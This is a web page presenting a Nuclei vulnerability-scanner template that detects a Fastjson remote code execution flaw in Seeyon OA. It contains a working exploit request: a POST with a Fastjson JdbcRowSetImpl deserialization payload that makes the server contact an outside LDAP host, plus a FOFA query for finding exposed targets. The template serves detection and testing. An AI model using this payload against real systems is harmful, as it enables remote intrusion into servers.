Skip to content

Seeyon OA Fastjson Remote Code Execution

ID: seeyon-oa-fastjson-rce

Severity: critical

Author: SleepingBag945

Tags: seeyon,oa,rce,fastjson,oast

Seeyon OA Fastjson is vulnerable to RCE.

id: seeyon-oa-fastjson-rce
info:
name: Seeyon OA Fastjson Remote Code Execution
author: SleepingBag945
severity: critical
description: Seeyon OA Fastjson is vulnerable to RCE.
reference:
- https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
- https://github.com/hktalent/scan4all/blob/main/pocs_go/seeyon/SeeyonFastjson.go
metadata:
verified: true
max-request: 1
fofa-query: app="致远互联-OA"
tags: seeyon,oa,rce,fastjson,oast
http:
- raw:
- |
POST /seeyon/main.do?method=changeLocale HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "com.alibaba.fastjson.JSONException"
# digest: 4b0a00483046022100fa75bc4796caec09456fb9950680f5f9663ba43be6bdcdafa30a3f22fe526275022100cce2c4f688fda4fdd678cc3cb473cc9c637c0135f7aec5a85df40169c1a2a5b8:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/seeyon/seeyon-oa-fastjson-rce.yaml"

View on Github